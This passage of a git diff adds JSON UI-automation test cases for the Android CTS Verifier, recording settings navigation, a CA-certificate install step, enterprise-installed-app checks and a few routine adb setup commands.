volume\",\"actionId\":\"b8e5e7f9-6703-40eb-bfd2-41ec6e809c1e\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Alarm volume\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"7f056f97-ec83-42c6-aa0c-d569c1442808\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"9b951e74-bb5e-4bc8-8ff3-24d1c39fe1d2\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"7a30e7f9-6d0b-46b5-bbb1-4920d9c8ccc3\",\"d78abf8a-60d2-4062-8d7e-af6ace440656\",\"5ee29e64-400f-4c6f-ba29-d9442740b560\",\"be00d800-5235-410e-a535-55a76d9200b9\",\"a67dd39b-313d-46d7-afda-f6547143367d\",\"8003eafa-d92b-4571-ba71-a68648526e4f\",\"8b18fc23-789a-4c41-9746-297a040e35a7\",\"f827f6ad-6a55-45e3-b661-7dd5b10fcc3d\",\"eecca841-c974-45ad-b750-ecd109b79b24\",\"8003eafa-d92b-4571-ba71-a68648526e4f\",\"8b18fc23-789a-4c41-9746-297a040e35a7\",\"c56dbf21-2baf-4c78-8a38-ce2b5929111d\",\"07f4e26a-9ac8-42f6-90fd-b4fb59303443\",\"8003eafa-d92b-4571-ba71-a68648526e4f\",\"8b18fc23-789a-4c41-9746-297a040e35a7\",\"893e2e2e-c9eb-46ee-bc89-7710fcd87c2e\",\"b8e5e7f9-6703-40eb-bfd2-41ec6e809c1e\",\"8003eafa-d92b-4571-ba71-a68648526e4f\",\"8b18fc23-789a-4c41-9746-297a040e35a7\",\"7f056f97-ec83-42c6-aa0c-d569c1442808\",\"9b951e74-bb5e-4bc8-8ff3-24d1c39fe1d2\",\"15aa571c-2e4d-43c0-b9c7-07b4f23041c4\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"15-02 &amp; 17-06-01-Disallow adjust volume test","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.125000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/0e355b97-b105-4074-8e2f-c4d1e0a69a08 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/0e355b97-b105-4074-8e2f-c4d1e0a69a08
new file mode 100644
index 0000000..a3cc86d
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/0e355b97-b105-4074-8e2f-c4d1e0a69a08
@@ -0,0 +1 @@
+{"uuid":"0e355b97-b105-4074-8e2f-c4d1e0a69a08","details":"{\"type\":\"CompoundAction\",\"name\":\"Install CA\",\"actionId\":\"0e355b97-b105-4074-8e2f-c4d1e0a69a08\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"SwipeAction\",\"name\":\"up\",\"actionId\":\"eedc62ad-5174-4a11-9b97-f32ed2fab3ed\",\"actionType\":\"SWIPE_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"riacheltseng\",\"startX\":180,\"startY\":620,\"endX\":180,\"endY\":320,\"startPointNodeContext\":null,\"endPointNodeContext\":null},{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to find Encryption & credentials\",\"actionId\":\"0b04719b-8aaf-49ab-b52d-e1082a21d550\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Encryption & credentials\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"58707109-c8f3-4b4e-a920-cf731cbc0ef9\",\"displayText\":\"Encryption & credentials\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"cf528053-dc02-456c-b4cf-758b17be0ab3\",\"displayText\":\"Encryption & credentials\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"09e81314-4301-4d51-bc77-961f7760fd6c\",\"displayText\":\"Encryption & credentials\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Encryption & credentials\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":661.5,\"x2\":216.5,\"y2\":680.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-2.25,\"y\":3.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Encryption & credentials\"},{\"uuid\":\"f59ad4af-33c6-4544-a1eb-692e4ae67e77\",\"displayText\":\"Encrypted\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"Encrypted\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":680.5,\"x2\":118.0,\"y2\":697.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Encrypted\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":647.5,\"x2\":346.0,\"y2\":711.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Encryption & credentials\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":647.5,\"x2\":360.0,\"y2\":711.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":142.0,\"y\":667.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":38.0,\"y\":11.75,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"09e81314-4301-4d51-bc77-961f7760fd6c\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Encryption & credentials\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":60.0,\"y1\":655.0,\"x2\":224.0,\"y2\":680.0},\"scrollOrientation\":2,\"scrollMaxNumber\":3},{\"type\":\"ClickAction\",\"name\":\"Click Action, Encryption & credentials\",\"actionId\":\"221fd194-54f2-49a7-af92-6a7965473ec2\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Encryption & credentials\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Install a certificate\",\"actionId\":\"654cb87b-b218-4b6f-93db-4ef97aeb495c\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Install a certificate\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, CA certificate\",\"actionId\":\"de6f8cfe-293b-47d3-96bb-5d022b122ecf\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"CA certificate\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Install anyway\",\"actionId\":\"5a4c00fc-55c3-430e-800f-f15b1c815afa\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Install anyway\"},{\"type\":\"DragAction\",\"name\":\"Drag: 1 points\",\"actionId\":\"b6bc9bc1-2cc1-4497-87e4-f35da4375fee\",\"actionType\":\"DRAG_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"riacheltseng\",\"dragPoints\":[{\"x\":81.0,\"y\":306.0},{\"x\":91.0,\"y\":306.0}],\"nodeContext\":{\"uuid\":\"f0096902-223e-4ebd-a3e0-947ba10c5222\",\"displayText\":\"myCA.cer\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"7049ba59-6523-4e59-abda-8311c8e666a9\",\"displayText\":\"myCA.cer\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"cf61ea24-73fe-4a38-ab8b-6e0087110279\",\"displayText\":\"myCA.cer\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"myCA.cer\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":293.25,\"x2\":126.5,\"y2\":312.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":13.75,\"y\":-3.25,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"myCA.cer\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":293.25,\"x2\":126.5,\"y2\":312.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"myCA.cer\"},{\"uuid\":\"a377486f-cb5a-4d6e-bf62-563bfb9a7b54\",\"displayText\":\"11:43 AM\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"6dde0d88-1b61-42ab-8007-73ec84012980\",\"displayText\":\"11:43 AM\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.google.android.documentsui:id/date\",\"text\":\"11:43 AM\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":312.25,\"x2\":145.25,\"y2\":326.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"11:43 AM\"},{\"uuid\":\"42b05d5a-31fe-45a6-b99a-9556f1f33a6b\",\"displayText\":\"644 B\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.google.android.documentsui:id/size\",\"text\":\"644 B\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":152.25,\"y1\":312.25,\"x2\":214.0,\"y2\":326.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"644 B\"},{\"uuid\":\"59a5bbe5-5cfb-4d79-b138-689fd5e30eea\",\"displayText\":\"CER file\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.google.android.documentsui:id/file_type\",\"text\":\"CER file\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":221.0,\"y1\":312.25,\"x2\":283.0,\"y2\":326.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"CER file\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.google.android.documentsui:id/line2\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":312.25,\"x2\":283.0,\"y2\":326.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"11:43 AM\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":293.25,\"x2\":283.0,\"y2\":326.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":81.0,\"y\":306.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":92.0,\"y\":3.875,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"cf61ea24-73fe-4a38-ab8b-6e0087110279\",\"firstText\":\"\"},\"endPointNodeContext\":null},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/action_menu_select\",\"actionId\":\"9ca18b2a-fc41-4130-9670-791ecc587f3f\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.google.android.documentsui:id/action_menu_select\"}],\"childrenIdList\":[\"eedc62ad-5174-4a11-9b97-f32ed2fab3ed\",\"a3737847-5957-4a6a-a50c-242e80b93d8a\",\"0b04719b-8aaf-49ab-b52d-e1082a21d550\",\"221fd194-54f2-49a7-af92-6a7965473ec2\",\"654cb87b-b218-4b6f-93db-4ef97aeb495c\",\"de6f8cfe-293b-47d3-96bb-5d022b122ecf\",\"5a4c00fc-55c3-430e-800f-f15b1c815afa\",\"1dd91c68-25ae-4631-8387-ea9aae5957e9\",\"b6bc9bc1-2cc1-4497-87e4-f35da4375fee\",\"9ca18b2a-fc41-4130-9670-791ecc587f3f\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Install CA","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.230000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/0e6339c1-dd60-4126-9c18-82a1171245ce b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/0e6339c1-dd60-4126-9c18-82a1171245ce
new file mode 100644
index 0000000..7508ff6
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/0e6339c1-dd60-4126-9c18-82a1171245ce
@@ -0,0 +1 @@
+{"uuid":"0e6339c1-dd60-4126-9c18-82a1171245ce","details":"{\"type\":\"CompoundAction\",\"name\":\"16-05-Enterprise-installed apps\",\"actionId\":\"0e6339c1-dd60-4126-9c18-82a1171245ce\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Enterprise-installed apps\",\"actionId\":\"38e3abfe-1f8a-4355-8da0-1dbd5683b73f\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Enterprise-installed apps\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"5289f262-c26b-4615-97f2-63fa59d3bbed\",\"displayText\":\"Enterprise-installed apps\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Enterprise-installed apps\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":8.75,\"y1\":254.25,\"x2\":351.25,\"y2\":296.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":92.5,\"y\":276.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":87.5,\"y\":-0.75,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"5289f262-c26b-4615-97f2-63fa59d3bbed\",\"firstText\":\"Enterprise-installed apps\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Enterprise-installed apps\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":2.0,\"y1\":263.0,\"x2\":183.0,\"y2\":289.0},\"scrollOrientation\":2,\"scrollMaxNumber\":3},{\"type\":\"ClickAction\",\"name\":\"Click Action, Enterprise-installed apps\",\"actionId\":\"4863cc19-2540-45b5-a9f4-1e8a08e6558c\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Enterprise-installed apps\"},{\"type\":\"CommandLineAction\",\"name\":\"Grant MANAGE_EXTERNAL_STORAGE\",\"actionId\":\"259472a8-b9dc-4df8-9148-76f5d86ddde1\",\"actionType\":\"COMMAND_LINE_ACTION\",\"delayAfterActionMs\":1000,\"createdBy\":\"riacheltseng\",\"commandLine\":\"shell appops set com.android.cts.verifier MANAGE_EXTERNAL_STORAGE 0\",\"isAdbCommand\":true,\"expectedReturnCode\":\"0\",\"commandlineExecutionTimeoutSec\":5,\"needShellOutput\":false,\"uicdVariableName\":\"\"},{\"type\":\"CommandLineAction\",\"name\":\"Install NotificationBot.apk\",\"actionId\":\"bdc47805-0ae3-45eb-99e1-48a822f95e44\",\"actionType\":\"COMMAND_LINE_ACTION\",\"delayAfterActionMs\":1000,\"createdBy\":\"riacheltseng\",\"commandLine\":\"push $uicd_NotificationBot_apk_path /sdcard\",\"isAdbCommand\":true,\"expectedReturnCode\":\"0\",\"commandlineExecutionTimeoutSec\":5,\"needShellOutput\":false,\"uicdVariableName\":\"\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Uninstall\",\"actionId\":\"85d68a82-08b8-4847-a72d-ae820ba53c2a\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Uninstall\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify not show \\\"Apps installed\\\"\",\"actionId\":\"1a098f9e-a14d-4a27-9188-a49a245fe979\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Apps installed\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_TRUE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"7786df7e-ba85-4c84-92d1-b6d26d0fba4d\",\"displayText\":\"Apps installed\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"4591ba55-ed9e-4e05-a140-43c17762ff73\",\"displayText\":\"Apps installed\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"ed3b593a-82a6-4879-a62d-a96f8e35cb1b\",\"displayText\":\"Apps installed\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Apps installed\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":392.0,\"x2\":151.25,\"y2\":411.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-6.375,\"y\":1.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Apps installed\"},{\"uuid\":\"a2a82afe-db19-41d8-8664-038c1399dbb6\",\"displayText\":\"Minimum 1 app\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"Minimum 1 app\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":411.0,\"x2\":148.5,\"y2\":427.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Minimum 1 app\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":378.0,\"x2\":346.0,\"y2\":441.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Apps installed\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":378.0,\"x2\":360.0,\"y2\":441.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":113.5,\"y\":400.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":66.5,\"y\":9.75,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"ed3b593a-82a6-4879-a62d-a96f8e35cb1b\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Apps installed\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":50.0,\"y1\":389.0,\"x2\":177.0,\"y2\":411.0}},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"8438e518-5c6d-46d3-8f03-022e7641a8ec\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, Install\",\"actionId\":\"d4995ccf-9214-42e9-b5e1-de9202de91bd\",\"actionType\":\"CLICK_ACTION\",\"delayAfterActionMs\":3000,\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Install\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify  it shows Apps installed\",\"actionId\":\"af392741-43e6-418c-be5c-4e523a71973f\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Apps installed\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"4e720bdc-365f-44fa-9c61-25af5e433c91\",\"displayText\":\"Apps installed\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"5ea1c17b-82d2-4a25-b974-0fa6a774662d\",\"displayText\":\"Apps installed\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"7a47115c-fc7b-4678-aaf9-5c6961b6bdf6\",\"displayText\":\"Apps installed\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Apps installed\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":392.0,\"x2\":151.25,\"y2\":411.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":3.125,\"y\":1.5,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Apps installed\"},{\"uuid\":\"6fcfe0bc-1cc3-44ac-adbe-3404176d1c8f\",\"displayText\":\"Minimum 1 app\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"Minimum 1 app\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":411.0,\"x2\":148.5,\"y2\":427.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Minimum 1 app\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":378.0,\"x2\":346.0,\"y2\":441.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Apps 